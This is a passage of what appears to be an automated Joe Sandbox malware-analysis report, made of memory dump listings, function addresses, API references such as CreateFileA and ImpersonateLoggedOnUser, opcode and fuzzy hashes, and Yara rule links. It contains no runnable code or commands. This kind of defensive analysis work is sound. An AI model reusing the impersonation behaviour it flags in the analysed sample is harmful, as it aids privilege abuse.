Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f53ef38a8ffa1560c498c74a0eed6f92ff228dbfc5fb58b91a86979505e81d2e
Instruction ID: 5390c79fb094d58612e3f08f63348fd051d233bacfad276587314f57c28ad18c
Opcode Fuzzy Hash: f53ef38a8ffa1560c498c74a0eed6f92ff228dbfc5fb58b91a86979505e81d2e
Instruction Fuzzy Hash: 01F0E9FB54D3577DF20189625F91BF67B6DEA83378B304214F84397883D2919D0AA1B0

Function 05481308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05481367

Memory Dump Source

Source File: 00000003.00000002.2510895734.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5480000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 0cd60492a9e357056f995acc4ffc889e6a2fb5047ab6838e7cd5081ec8c011a3
Instruction ID: 9138f66e9ae6f74554034324fbe05f29b21e197634c74adb258856051016e21d
Opcode Fuzzy Hash: 0cd60492a9e357056f995acc4ffc889e6a2fb5047ab6838e7cd5081ec8c011a3
Instruction Fuzzy Hash: 7B1122B1800249CFDB10CF9AC944BEEBBF8EB48320F20846AD518A3240D778A944CFA5

Function 00CAD28D Relevance: 1.5, APIs: 1, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 00CAD270

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8d93a335389a60d65312655005a4052221c5347c085aee2c66efe19887d0df15
Instruction ID: 8b080f434f41f6cd6fad709d50e305d3bc68676b0f1142fa0f0582ff8b8b866d
Opcode Fuzzy Hash: 8d93a335389a60d65312655005a4052221c5347c085aee2c66efe19887d0df15
Instruction Fuzzy Hash: E4F0596628C3922DD21256602D697F97B24D983638B3446D9F843CB4C3C150E849E271

Function 00CAD234 Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 00CAD270

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 81b1b3918112b4f382805c56d06394b0510975f0a82f1e8137a63523ebd468b5
Instruction ID: 99dbf0b41f00b73e422e6d17d78da6f8d43f5e082940d880a14ef0ca8d1360b7
Opcode Fuzzy Hash: 81b1b3918112b4f382805c56d06394b0510975f0a82f1e8137a63523ebd468b5
Instruction Fuzzy Hash: 66E0D8D75482412DF11101612A657F92724C2D3A74B3045A5F883C748390409E0A6171

Function 00CAD24C Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 00CAD270

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 04c6cac7e79227e5e765ee93059bf4f343373a1a1256ccffbc422489c62bc21d
Instruction ID: f83da0559d7b72b85ef02776ecdbb8765790a71fc95658112a4848a6633c9048
Opcode Fuzzy Hash: 04c6cac7e79227e5e765ee93059bf4f343373a1a1256ccffbc422489c62bc21d
Instruction Fuzzy Hash: E3E0C2A728D7E31EE30387B45D617DCAF60AF03164F3452EAC1818B0D3CBA4814E8392

Function 00CAD41B Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00CAD443

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 70f2316eb70bfd3a42dd1943279130ee3e5f3c2bf96d767ba8f506b5598cb1d3
Instruction ID: fe87146c4e77701a6d6e2fe271a19b896e0ba3852dabadb3564372039fd0c9e4
Opcode Fuzzy Hash: 70f2316eb70bfd3a42dd1943279130ee3e5f3c2bf96d767ba8f506b5598cb1d3
Instruction Fuzzy Hash: 29D012B50593132CE709AB794D9DF355658875B228F74893DE0179F8C2E970B8009124

Function 00CAD430 Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00CAD443

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
